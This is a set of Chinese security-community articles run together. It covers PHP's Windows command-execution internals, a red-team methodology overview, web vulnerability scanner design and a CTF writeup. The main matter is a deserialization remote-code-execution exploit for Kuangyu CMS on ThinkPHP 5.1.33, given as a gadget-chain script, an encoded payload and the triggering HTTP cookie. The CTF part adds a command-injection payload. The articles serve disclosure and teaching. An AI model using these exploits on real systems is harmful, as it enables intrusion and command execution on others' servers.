CreateProcessW/A | 创建常规进程，权限继承父进程权限 |
CreateProcessAsUserW/A | 使用主 Token 创建进程，子进程权限与 Token 限定一致 | 必须开启
`SE_INCREASE_QUOTA_NAME`
CreateProcessWithTokenW | 使用主 Token 创建进程，子进程权限与 Token 限定一致 | 必须开启
`SE_IMPERSONATE_NAME`
CreateProcessWithLogonW/A | 使用指定用户凭据启动进程
PS：有关Windows系统API的调用情况，一般编程语言启动某个可执行程序的进程，都会调用`CreateProcessW`系统API，而不使用`CreateProcessAsUserW`系统API。同时在cmd终端进程下，启动外部指令程序所调用的系统API一般为`CreateProcessInternalW`。
接着将进程运行的结果信息以流的形式返回，最终完成PHP命令执行函数的整个调用过程。
if (read) {
fno = _open_osfhandle((tsrm_intptr_t)in, _O_RDONLY | mode);
CloseHandle(out);
} else {
fno = _open_osfhandle((tsrm_intptr_t)out, _O_WRONLY | mode);
CloseHandle(in);
}
stream = _fdopen(fno, type);
proc->prochnd = process.hProcess;
proc->stream = stream;
return stream;
同理，按照上述整个审计思路，可整理出PHP常见命令执行函数在Windows平台下的底层调用链
#### 动态审计
有了上面`静态审计`部分的分析，后续进行动态调试会很方便。这里同样以`system()`函数执行`whoami`指令为例来进行动态调试，其它函数调试原理类似。
// test.php
<?php
system("whoami");
?>
在`ext/standard/exec.c:265`中对system()函数实现入口处下断点，F5启动调试，运行至断点处
F11步入函数`php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU,
1)`内部：`ext\standard\exec.c:209`
`php_exec_ex()`对cmd参数初始化处理后调用`php_exec(mode, cmd, NULL, return_value)`函数
F11步入`php_exec()`函数：`ext\standard\exec.c:97`，`php_exec()`函数会传入cmd指令调用`VCWD_POPEN()`函数
F11步入`VCWD_POPEN()`函数实现：
#define VCWD_POPEN(command, type) virtual_popen(command, type)
Zend\zend_virtual_cwd.h:269
由于`VCWD_POPEN`函数为`virtual_popen`实现，直接进入`virtual_popen()`函数实现：`Zend\zend_virtual_cwd.c:1831`
`virtual_popen()`函数将cmd指令、当前工作空间等参数传给`popen_ex(command, type, CWDG(cwd).cwd,
NULL)`函数执行返回。
F11步入`popen_ex()`函数实现：`TSRM\tsrm_win32.c:473`
跟进`popen_ex()`函数，对cmd进行动态分配空间及赋值
从cmd赋值的结果上来看，命令执行函数执行命令由底层调用cmd.exe来执行相应系统指令(内部|外部)。
后续调用`CreateProcessW()`系统API来启动cmd.exe进程，执行相应的指令即可。
查看函数之间的调用栈
如果单纯的是想知道某个命令执行函数是否调用cmd.exe终端去执行系统指令的话，可以在php脚本里面写一个循环，然后观察进程创建情况即可：简单、粗暴。
## 参考链接
* [Build your own PHP on Windows](https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2)
* [Visual Studio docs](https://visualstudio.microsoft.com/zh-hans/vs/)
* [Visual Studio Code docs](https://code.visualstudio.com/docs)
* [《PHP 7底层设计与源码实现+PHP7内核剖析》](https://item.jd.com/28435383700.html)
* [深入理解 PHP 内核](https://www.bookstack.cn/books/php-internals)
* [WINDOWS下用VSCODE调试PHP7源代码](https://www.jianshu.com/p/29bc0443b586)
* [调式PHP源码](https://gywbd.github.io/posts/2016/2/debug-php-source-code.html)
* [用vscode调试php源码](https://blog.csdn.net/Dont_talk/article/details/107719466)
* [GDB: The GNU Project Debugger](http://www.gnu.org/software/gdb)
* [CreateProcessW function](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw)
* [命令注入成因小谈](https://xz.aliyun.com/t/6542)
* [浅谈从PHP内核层面防范PHP WebShell](https://paper.seebug.org/papers/old_sebug_paper/pst_WebZine/pst_WebZine_0x05/0x07_%E6%B5%85%E8%B0%88%E4%BB%8EPHP%E5%86%85%E6%A0%B8%E5%B1%82%E9%9D%A2%E9%98%B2%E8%8C%83PHP_WebShell.html)
* [Program execution Functions](https://www.php.net/manual/en/ref.exec.php)
* [linux系统调用](http://huhaipeng.top/2019/04/20/linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/)
* [system calls](https://fedora.juszkiewicz.com.pl/syscalls.html) | 社区文章 |
从cnvd上看到
### 安装
在官网下载最新版本1.3.0版本
<http://bbs.kyxscms.com/?t/1.html>
使用phpstudy安装
安装说明如官网说明
<http://help.kyxscms.com/935571>
也可参考文章进行安装cms
<https://www.jianshu.com/p/b631b16934c8>
前台注册用户
安装后如下，可在前台注册用户
注册成功后进行登录，利用burpsuite进行抓取数据包
### 漏洞利用
利用如下
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));
}
?>
运行生成payload
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
数据包如下
GET /user/recentread HTTP/1.1
Host: 192.168.1.117
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lf___forward__=%2Findex.php; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test123%22%7D; lf_user_auth_sign=55191927140cf618017e2013feb6902eea3a01e0;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
Connection: close
### 代码分析
漏洞主要的产生原因是狂雨cms使用了thinkphp框架和可控的反序列化输入点
进入狂雨cms，查看thinkphp版本为5.1.33，存在反序列化利用链
exp为
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));
}
?>
从源码搜,发现会从cookie中读取read _log字段，注意cookie的键值要加前缀lf_
以首页路由为例
访问，/user/recentread其会从cookie中进行读取然后进行反序列化，再结合thinkphp反序列化利用链即可命令执行 | 社区文章 |
## 0X00 前言
红队的起源是出现在军事领域方面，人们意识到，要做到更好的防守，就需要去攻击自己的防御，才能更好的找到防守的弱点，在国内，进攻方为蓝军，防守方为红军，蓝军我自己习惯称为RedTeam，红蓝对抗的意义在于帮助防守者更全面的意识到自己的薄弱之处。
## 0X01 我所理解的RedTeam
每个人对RedTeam的理解难免存在差异，但我觉得共同点是一样的——让防御方清楚的意识到自身的不足以及一起改进安全方案。
红队是使用真实的攻击技术来模拟攻击过程，以评估蓝队的安全防御是否做的到位。
现在很多公司基本都有自己的安全防护程序，监控系统，软件程序的开发也遵循SDL等等一系列防护措施，但是每逢周五就应急这个梗其实蛮真实，因为新的漏洞总是在不断冒出来，而且你可能被入侵了，权限在别人手里控了几个月，几年，但是你却察觉不到。
所以，红队的存在可以说就是为了弥补这些缺陷，我们也要证明我们自己存在的意义，这里的意义不是说你要挖到多么厉害的漏洞，也不是攻陷了多少系统，而是要发现目标的痛点，同时我们也要敢于挑战所有的目标，无论是人还是系统，都会有漏洞。
## 0X02 RedTeam And Pentesting？
其实一开始我觉得渗透和红队好像没什么区别，不就都是为了拿下目标然后写报告么？
现在我觉得最大的一个区别就是渗透的范围是有限的，而且大多数情况下基本商业扫描器一把嗦就完事，因为你拿到的可能是一大堆目标，但只是单纯的website。
红队需要对目标进行尽可能全面的情报收集，要配合蓝队的计划执行，比如：虽然我发给对方的邮件被对方识别到了，也就是说这个行动失败，触发了警报，这里就可以记录下来，它证明了蓝队的防御是有效的。
渗透一般是定期的，红队活动有时候几周，有时候几个月，时间不固定。
红队的活动是不规律的，有时候可能专注于社工，模拟窃取内部人员信息，在攻击方面对于渗透的话，可能我们去针对内网的时候，想着的时候怎么拿下DC，但是对于红队来说，除非必要，一般不去碰，因为这个动作有点大，除非能保证自己能够不被发现，因为活动中每一步都需要隐藏好自己，不去触发警报，否则SOC或者IDS发现了，就可能功亏一篑。也很少有入侵者直接发动大规模扫描，嗅探等等。
我们的目的是为了制定出更完善的安全方案，而不是无意义的攻击。
有时候目标就只是域内的某个开发人员，那么，怎么去判断呢？
* DC里面的日志中去寻找
* 寻找命名规则，zhangsan.pentestlab.com类似这种
* 至关重要的Email系统，里面可能有大量内部人员信息，内部邮件钓鱼的几率成功率会很高
* ...and so on
总之，需要红蓝双方共同配合，一起行动。
## 0X03 RedTeam常用的攻击手法是什么？
### 侦察
利用nmap，masscan，EyeWitness，邮箱探测工具等对目标执行周期性检查，监控Web
Application，github上寻找敏感信息，架设找到一个VPN账号，或者爆破到一个VPN账号，可能就直接杀入内部网络中，这里的爆破账号的技术老毛子叫做Password
Sparying，域名监控方面鬼麦子的开源项目或者sublert。以及尝试对目标的云服务商或者云服务进行测试。
相关tools(部分)，自行查找。
* emailsniper-7kb师傅
* EyeWitness，这个可以自己改进一下
* BloodHound，相关的不同版本fork的分支中有些加了些实用的功能
* x-patrol
* subfinder 建议使用多个工具，然后去重
* ssl
* zoomeye
* ip反查域名
* 等
### Web Application
然后就是常规的web应用测试，争取撕开一个口子
* SQL
* XSS
* File Upload
* SSRF
* RCE
* CMS Vulnerability
* 企业代理
* VPN
等等。
可以参考一下我翻译的[Web程序测试指南](https://evilwing.me/2018/12/13/web-fuzz/)
一般能直接访问的机器都是linux，需要进行详细的信息收集，用户，进程，端口，各种密码，开放服务，是否要进行权限维持等。
判断当前位于什么环境中，然后画出拓扑图.
我在公众号分享过一篇译文，[Extracting NTLM Hashes from keytab
files](https://mp.weixin.qq.com/s?timestamp=1553699733&src=3&ver=1&signature=qNtvRWkWNZ35M9uXeWqVZZgxlzt0w4iTPoag28c5K5GZBeiBwTDblY*gI8R0mfw8vzrCRl4CoPstf-qGbq*eVeOfClHZ2JcGBClcAknsBliqm4EzULiVn*qHY9Vu9mmu1kd0ZhxiLqjddiDDQG1fF6j08o69Eo7wWkAu3vtNVKE=)
linux上也可以设置与域通信，这个keytab文件里面就有hash，它的作用我就不多说了。
### ATTACK
找到一个立足点之后，就得想办法攻击网络了。
可能当前用户权限不足，iis权限或者www-data权限。
关于windows提权，我有过一篇译文[windows提权笔记](https://evilwing.me/page/2/)
* 1. Windows提权笔记
* 1.1. Windows提权命令参考
* 1.2. Exploits
* 1.3. 服务配置错误
* 1.3.1. 不带引号的服务路径
* 1.3.2. 不安全的服务权限
* 1.3.3. 注册表
* 1.3.4. 不安全的文件系统权限
* 1.3.5. AlwaysInstallElevated
* 1.3.6. 组策略首选项漏洞
* 1.3.7. 凭证窃取(读书人怎么能叫窃呢)
* 1.3.8. 令牌权限
* 1.3.9. DLL劫持
* 1.3.10. 工具和框架
* 1.3.11. 最后的想法
* 1.3.12. 参考
* 1.3.13. END
linux下我熟悉的就是内核直接提权，SUID，高权限文件或者文件夹的利用，符号链提权，服务提权等
这里我放一个具体的案例
`从任意文件读取到RCE
https://mp.weixin.qq.com/s?timestamp=1553699733&src=3&ver=1&signature=qNtvRWkWNZ35M9uXeWqVZZgxlzt0w4iTPoag28c5K5GZBeiBwTDblY*gI8R0mfw8vzrCRl4CoPstf-qGbq*eVULNReKlF2TJgWfKiVtMWYAa9wJ6EhQzhi2SO4m5*Fz-nAqSymcY6AJcl2BnDhNEbTxA2*Fx09xkCP*CIbnSBCM=`
### Lateral movement
在没有任何凭据的情况下可以考虑WPAD攻击，目的就是抓到hash值，有些系统可能不会验证SMB签名，以及最近看到的无约束委派攻击。
可以看一下我复现一些案例。
[一篇域攻击文章的复现](https://xz.aliyun.com/t/4441)
目录：
* Bloodhound
* Kerberoasting攻击 | Tool: GetUserSPNs.py
* ASEPRoasting | tool：Rubeus
* SILENTTRINITY
* 无约束的 Kerberos
* RBCD攻击
* MS14-025，GPP
* 查找权限高的用户|CrackMapExec
* PowerTools
* PowerUp
* Get-ExploitableSystem
* GetSystem
* ADAPE
除了这些还有很多，但是大体上就是这些了。
很多大家都了然于心，不必过多赘述。
我们要明确目标是什么，尽量在每台机器上搜集好必要的信息，留着后用。
linux下的横向移动，做好代理，进行资产探测常规的手法。
### 免杀
现在的防御机制越来越严格，常规的木马被杀的体无完肤，简单的说一下常规的免杀方法，我在圈子也分享过不下10篇Bypass AV的文章了。
以AMSI为例：
* 尝试禁用AMSI
* 定位AMSI查杀的是哪一行代码，加以混淆
* 白名单绕过
* 自己定制对应工具
* 重新编译msf payload
* 写自己的加载器
* sharpshooter
* psh混淆
* NoPowershell
* battoexe，不加upx壳
* 将恶意代码放到bmp中，再调用powershell下载，再将powershell加密放到hta，hta放入html中。
* ...
### 社工
现在的钓鱼都是比较高级，最有特点的就是双因子钓鱼，你完全不知道自己已经上钩了。
我还是照样用一个栗子说明。
[Red Team Techniques-通过钓鱼攻击获得访问权限](https://evilwing.me/2019/02/28/red-team-techniques-%E9%80%9A%E8%BF%87%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB%E8%8E%B7%E5%BE%97%E8%AE%BF%E9%97%AE%E6%9D%83%E9%99%90/)
* 1. Red Team Techniques-通过钓鱼攻击获得访问权限
* 1.1. 重要的注意事项
* 1.2. 远离黑名单
* 1.3. 成功获得初始访问权限
* 1.4. 蓝队如何防守
* 1.5. 总结
### 物理攻击
badusb，dropbox，WIFI，等等，快捷而有效。
### 权限维持
我推荐个ppt，有兴趣的自行参阅
总之，猥琐至上。
## 0X04 如何隐藏自己
隐藏自己主要其实就是攻击者本身和我们的C2服务器。
前者的话可以通过代理或者肉鸡来实现。
后者的话就有很多细节
我只列举我自己用过的技术，其余还有很多。
* Faction，最近出的，基于web的多人协作平台
* dnscat2，支持win和linux
* pentestlab的博客有很多，包括以下
* ICMP
* POWERSHELL
* JAVASCRIPT
* HTTP
* HTTPS
* DNS
* GMAIL
* TWITTER
* COM
* OFFICE
* IMAGES
* WMI
* AND SO ON
还有就是Domain Fronting技术，这个就这样叫吧，翻译我找不到合适的词。
上次和lz1y讨论的时候有适用于国内的方法。
[红队基础建设:隐藏你的C2 server](https://xz.aliyun.com/t/4509)
也可以找倾旋老哥讨论，他在OWASP大会上分享过email c2的思路。
以及修改自己的c2工具特征，msf，empire，cs都被安排了。
## 0X05 Blue Team如何全面的防御
首先介绍一个系统
这个是蓝队用来模拟红队攻击的系统。
下面就是熟悉的ATT&CK矩阵图。
就是当蓝队捕捉到相关的活动时，可以对比图中的技术，并进行标记。
有三个平台的矩阵图
Windows
Mac
Linux
在这里面你可以创建对手，并配置它要进行哪些操作，好处是什么？
我们将捕捉到的日志全部发送到splunk，在里面进行特征分析，提取，最后规划防御方案。
跟进最新威胁情报，比如empire，cs，msf等工具的特征都有人公开了，就需要自己去更改相应的特征，防止被追查。
TTP的手段是多样化的，需要红蓝双方共同合作才能找出不足，最后完善报告。
蓝队需要进行
* 安全审核
* 风险情报分析
* DDOS测试
* 制定风险方案
* PCAP
* 记录分析
上次看到的红蓝技能排行
**RedTeam**
进入攻击者的海洋并尽可能地发挥你的创造力
* 跳跃性思维，猪猪侠跟我说的猥琐
* 红队的主要特点是跳出局限性思考，不断寻求新的工具和技术。
* 深入了解系统
* 知己知彼，百战不殆
* Program开发能力
* 定制测试工具
* pentesting，也是重要的一部分
* 社工
**BlueTeam**
你将不得着承担这大多数人不知道的后门和漏洞
* 有组织，注重细节
* 网络安全分析和威胁概况
* 在评估公司或组织的安全性时，您需要创建风险或威胁配置方案。牛x的威胁配置方案包含所有可能包含潜在威胁攻击者和现实威胁情景的数据，通过在前面的准备工作，为未来的任何攻击做好充分准备
* 强化系统
* 要真正为即将到来的攻击或破坏做好准备，需要对所有系统进行强化，减少黑客可能利用的攻击面。绝对必要的是强化DNS，因为它是强化策略中最容易被忽视的一个。
* 了解入侵检测系统
* 熟悉网络方便查找任何异常和可能具有恶意活动的软件应用程序。过滤所有网络流量包，将更好地控制公司系统中的所有网络活动。
* SIEM
* SIEM或安全信息和事件管理是提供安全事件实时分析的软件。它从外部源收集数据，能够根据特定的标准执行数据分析。
## 总结
大家可能会认为，当涉及到红队或蓝队时，你可能会偏向另一个团队，但事实是，只有两个团队一起合作，才能为任何网络攻击准备一个完整有效的安全基础设施方案。
整个网络安全行业需要更多地去了解如何让两个团队一起工作并相互学习。有些人可能称之为紫队，Whatever，红队和蓝队的完美协作是真正彻底实现网络安全的唯一途径。 | 社区文章 |
# 漏洞扫描技巧篇——Web漏洞扫描器
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
之前我们简单介绍了一下扫描器中爬虫的部分，接下来将继续介绍一下扫描器中一些我们认为比较有趣的技巧。
## 0x01 编码/解码/协议
在很久以前有人提问 AMF 格式的请求怎么进行检测，或者有什么工具可以检测。
既然我们要讲解的是 **Web 漏洞扫描器** ，那么就先假设是 AMF over HTTP (这里并不需要你了解 AMF，你只需要知道 AMF
是一种数据格式类型就行)
假设我们需要测试一个 AMF 格式数据的 SQL 注入问题，那么按照通常的思路就是在 SQL 注入模块中
1. 先解析 HTTP 中 AMF 格式数据
2. 然后在测试参数中填写 payload
3. 重新封装 AMF 格式数据
4. 发送 HTTP 请求
伪代码如下：
req = {"method": "POST", "url": "http://fatezero.org", "body": "encoded data"}
data = decode_amf(req["body"])
for key, value in data.items():
d = copy.deepcopy(data)
d[key] = generate_payload(value)
body = encode_amf(d)
requests.request(method=req["method"], url=req["url"], body=body)
整个流程下来没什么问题，但是如果又来了一个 X 协议(X over HTTP)，那么我们就得继续修改 SQL 注入模块以便支持这种 X 协议，
但是扫描器中可不是只有 SQL 注入检测模块，还有其他同类模块，难道每加一个新协议我还得把所有检测模块都改一遍？
所以我们需要把这些协议解析和封装单独抽出来放在一个模块中。
伪代码如下：
# utils.py
def decode(data):
if is_amf(data):
data = decode_amf(data)
if is_X(data):
data = decode_X(data)
# 递归 decode
for i in data:
data[i] = decode(data[i])
return data
# detect_module.py
req = {"method": "POST", "url": "http://fatezero.org", "body": "encoded data"}
data = decode(req["body"])
for key, value in data.items():
d = copy.deepcopy(data)
d[key] = generate_payload(value)
body = encode(d)
requests.request(method=req["method"], url=req["url"], body=body)
上面的递归 decode 主要是为了解码某种格式的数据里面还有另外一种格式的数据，虽然看起来这种场景比较少见，
但是仔细想一下 multipart 带着 json，json 里的字符串是另外一个 json 字符串，是不是又觉得这种情况也并不少见。
那 encode/decode 剥离出来就可以了吗？请注意到上面伪代码使用了 `requests.request` 发送请求，
那如果某天需要我们去测试 websocket 协议，那是不是又得在检测模块中多加一套 websocket client 发送请求？
所以我们也需要将具体的网络操作给剥离出来，具体的协议类型直接由上面来处理，检测模块只需要关注具体填写的 payload。
伪代码如下：
for key, value in x.items():
data.reset()
x[key] = generate_payload(value)
x.do() # 负责将数据重新组装成原来的格式，并按照原始协议发送
# check
因为每个检测模块的检测依据大致就几种：
* 返回内容
* 消耗时间 (time based)
* 另外一条信道的数据 (比方说 dnslog)
所以即便是我们将网络操作剥离出来也不会影响检测的效果。
在编写检测模块的时候，编写者可以不用关心基础协议是什么，怎么对数据编码解码，只用关心根据 value 生成 payload 并填写到相对应的 key 中，
假如某天出现了这么一种流行编码格式 `http://www.a.com/key1,value1,key2,value2`，那我们所有的检测模块也无需修改，
仅仅需要在上一层再添加一套 encode/decode 操作即可。假如某天出现了一种比较流行的协议，我们也仅需要在上一层提供一套 client 即可。
检测模块的工作就仅仅剩下生成并填写 payload。
## 0x02 PoC 分类
在 2014 年的时候，我做了大量的竞品分析，包括使用逆向工程逆向商业的 Acunetix WVS, HP Webinspect, IBM AppScan,
Netsparker 扫描逻辑，也包括阅读开源的 w3af, arachni 代码。
如果不谈扫描质量，只关注整体项目设计以及产品中使用到的猥琐技巧，那么其中最让我眼前一亮的当属 AWVS，
接下来我将详细介绍一下我从 AWVS 中学习到的 PoC 分类。
PoC 分类：
类型 | 描述
---|---
PerServer | 用于检测 Web Server 级别中存在的漏洞，比方说各种中间件，Web 框架的漏洞
PerFile | 用于检测某个文件中是否存在漏洞，比如对应文件的备份，Bash RCE 等
PerFolder | 用于检测某个目录中是否存在漏洞，比如敏感信息的泄漏，路径中的 SQL 注入等
PerScheme | 用于检测某个参数中是否存在漏洞，比如 SQL 注入，XSS 等
PostCrawl | 在爬虫结束之后启动，直接使用爬虫的资源进行检测
PostScan | 在扫描结束之后启动，用于检测二阶注入，存储 XSS等
WebApps | 用于检测比较常用的 Web 应用的漏洞
大致的流程图如下：
在获取到爬虫资产，对相关资产格式化之后，便下发到各个不同类型的 PoC 中进行检测，这样做的好处是分类明确，覆盖大多数检测阶段，
也避免为了减少重复请求的下发而需要额外记录中间状态的行为。
## 0x03 IAST
AWVS 有个比较有趣的功能 `AcuMonitor`，也就大家熟知的 dnslog、反连平台。在 2014 年看到 AWVS 的这个功能时，
就建议 WooYun 出个类似的功能，也就是 `cloudeye`，`tangscan` 也就算是国内比较早使用这种技术的扫描器，
当然后续又出现了各种类似 `cloudeye` 的项目，自然而然也出现了各种使用该技术的扫描器。
不过今天我们不打算继续介绍 `AcuMonitor`，而是介绍另外一个也很有趣的功能 `AcuSensor`。
`AcuSensor` 就是 IAST，只要稍微了解过 Web 漏洞扫描器的，都应该会知道 IAST 是干啥的。那为什么我要单独拎出来讲这个呢？
主要是因为 `AcuSensor` 的实现方式非常有趣。
`AcuSensor` 提供了 Java、.NET、PHP 这三个语言版本，其中比较有趣的是 PHP 版本的实现。
PHP 版本的 `AcuSensor` 使用方法是下载一个 `acu_phpaspect.php` 文件，然后通过 `auto_prepend_file`
加载这个文件，
众所周知，PHP 是不能改直接 hook PHP 内置函数的，那么单单依靠一个 PHP 脚本，`AcuSensor` 是如何做到类似 IAST 功能的呢？
很简单，直接替换所有关键函数。嗯，真的就那么简单。
我们来详细介绍一下这个过程，在 `acu_phpaspect.php` 中：
1. 获取用户实际请求的文件内容
2. 检查一下有没有相关 cache，如果有 cache 那么直接加载执行 cache，然后结束
3. 使用 `token_get_all` 获取所有 token
4. 遍历每一个 token，对自己感兴趣的函数或者语句使用自己定义的函数进行 wrap 并替换
5. 将替换后的内容保存到 cache 中并使用 eval 执行
6. `__halt_compiler` 中断编译
举个具体的例子：
<?php
$link = NULL;
$sql = "select * from user where user_id=".$_GET["id"];
mysqli_prepare($link, $sql);
经过 `acu_phpaspect.php` 转换之后：
<?php
$link = NULL;
$sql = "select * from user where user_id=".$_GET[_AAS91("hello.php", 4, "$_GET", "id")];
_AAS86("hello.php",6,"mysqli_prepare",Array($link, $sql));
整个过程简单粗暴有效，这样做的优点在于：
* 实现简单，只需要编写 PHP 即可
* 安装简单，无需安装扩展，只需修改配置文件可以
* 兼容性强，比较容易兼容性各种环境，各种版本 PHP
如果有意向去做 IAST 或者想做类似我的 [prvd](http://github.com/fate0/prvd) 项目，
但又不太喜欢写 PHP 扩展，那么我强烈建议你完整的看一遍 PHP 版本 `AcuSensor` 的实现，
如果对自己实现的检测逻辑效率比较自信的话，甚至可以基于这个原理直接实现一个 PHP 版本的 RASP 项目。
## 0x04 限速
在 Web 漏洞扫描器中，无论作为乙方的商业产品、甲方的自研产品， **限速** 都是一个至关重要的功能，
甚至可以说如果你的扫描器没有限速功能，那压根就不能上线使用。接下来我们将介绍一下在扫描器中限速的几种方法。
#### 代理
使用代理做限速功能，将所有执行扫描任务的 worker 的测试流量全转发到 proxy 服务器上：
由 proxy 服务器统一调度发送测试请求频率，直接使用 proxy 方案优点是可以兼容之前没做限速功能的扫描器，
缺点是所有基于 time based 的检测均无效(当然也可以让 proxy
返回真正的响应时间来进行判断，不过仍需要修改检测模块)，也不允许在检测模块中加入超时设置。
#### 双重队列
另外一种方法是使用双重队列实现限速功能，流程图如下：
1. worker1 从队列中取到名为 target1 的任务
2. worker1 从 target1 队列中取出和 target1 相关的任务
3. 默认单并发执行和 target1 相关任务，根据设置的 QPS 限制，主动 sleep 或者增加并发
这种方案的缺点是扫描器设计之初的时候就得使用这种方法，优点是每个并发可以稳定的和远程服务器保持链接，也不影响扫描功能。
## 0x05 漏洞检测
实际上这一节并不会讲具体某个漏洞检测方法，只是简单谈一下漏扫模块每个阶段该干的事情。
项目之初，没有相关积累，那么可以选择看一下 AWVS 的检测代码，虽然说网上公开的是 10.5 的插件代码，
但其实从 8.0 到 11 的插件代码和 10.5 的也差不多，无非新增检测模块，修复误漏报的情况，
也可以多看看 SQLMap 代码，看看检测逻辑，但是千万不要学习它的代码风格。从这些代码中可以学习到非常多的小技巧，
比如动态页面检测，识别 404 页面等。看代码很容易理解相关的逻辑，但我们需要去理解为什么代码这样处理，历史背景是什么，所以多用 git blame。
到了中期，需要提升漏洞检测的精准度，漏洞检测的精准度是建立在各种 bad case 上，误报的 case 比较容易收集和解决，
漏报的 case 就需要其他资源来配合。作为甲方如果有漏洞收集平台，那么可以结合白帽子以及自己部门渗透团队提交的漏洞去优化漏报情况。
如果扫描器是自己的一个开源项目的话，那么就必须适当的推广自己的项目，让更多的人去使用、反馈，然后才能继续完善项目，
从而继续推广自己的项目，这是一个循环的过程。总而言之，提升漏洞检测的精准度需要两个条件，1. bad case，2. 维护精力。
到了后期，各种常规的漏洞检测模块已经实现完成，也有精力持续提升检测精准度，日常漏洞 PoC 也有人员进行补充。那么事情就结束了么？
不，依旧有很多事情我们可以去做，扫描器的主要目标是在不影响业务的情况下，不择手段的发现漏洞，所以除了常规的资产收集方式之外，
我们还可以从公司内部各处获取资产相关的数据，比方说从 HIDS 中获取所有的端口数据、系统数据，从流量中或业务方日志中获取 url 相关数据等。
当然除了完善资产收集这块，还有辅助提升检测效果的事情，比如说上面提到的 `AcuSensor`，这部分事情可以结合公司内部的 RASP 做到同样效果，
还有分析 access log、数据库 log 等事情。总的来说，做漏扫没有什么条条框框限制，只要能发现漏洞就行。
以上都是和技术相关的事情，做漏扫需要处理的事情也不仅仅只有技术，还需要去搞定详细可操作的漏洞描述及其解决方案，汇报可量化的指标数据，
最重要的是拥有有理有据、令人信服的甩锅技巧。
## 0x06 总结
以上即是我认为在扫描器中比较有用且能够公开的小技巧，希望能够对你有所帮助。
另外如果你对 **漏洞扫描 或者** IoT 自动化安全产品
**感兴趣，并愿意加入我们，欢迎简历投递**[[email protected]](mailto:[email protected])
小米安全中心：<https://sec.xiaomi.com/>
微信号： | 社区文章 |
# 2018开源聚合杯网络空间安全大赛部分题目writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
随着网络安全受到持续性关注，攻防演练和攻防成为热点，全国各类不同规模攻防演练的激增，由华安普特与京东安全赞助的开源聚合杯网络空间安全大赛于5月落下帷幕。今天以CTF中各个题型的部分赛题为例，详解打CTF的心里路程与解题思路。其中包含web、隐写、逆向、pwn等多题型。
## WEB
### 旗帜变量
**题目描述**
flag真的在变量里哦
答题地址：
<http://202.98.28.108:10991/uwg8923ybl/>
**解析思路**
利用超全局变量GLOBALS
访问首页直接能获取到源代码
此题目考察的是全局变量以及var_dump的问题。我们发现代码中利用正则表达式过滤了大部分可以执行的部分，但是最终args变量带入到了var_dump中，我们可以显示其中的内容。想到了flag变量是被包含进来的，我们可以用GLOBAL变量将其显示，于是最终访问：
<http://202.98.28.108:10991/uwg8923ybl/?args=GLOBALS>
获得flag{92853051ab894a64f7865cf3c2128b34}
### 显示问题
**题目描述**
显示内容很丰富哦
答题地址：<http://202.98.28.108:10991/b932hsfgui/>
**解析思路**
本题目看似与上一个题目相同，但是我们发现其中少了一个$符号，也就是不存在变量名覆盖的问题，我们也就不能够直接定义一个GLOBAL变量来显示flag了。只能另想办法。
这里想到可以利用双引号的闭合然后利用eval进行命令注入。
于是传入payload：?hello=1);echo `cat flag.php`;//
成功获得flag
记得要查看源代码中才能够看到注释了的flag哦
## CRYPTO
### 交换密钥
**题目描述**
请找到正确的密钥并以格式：flag{a,b}形式提交
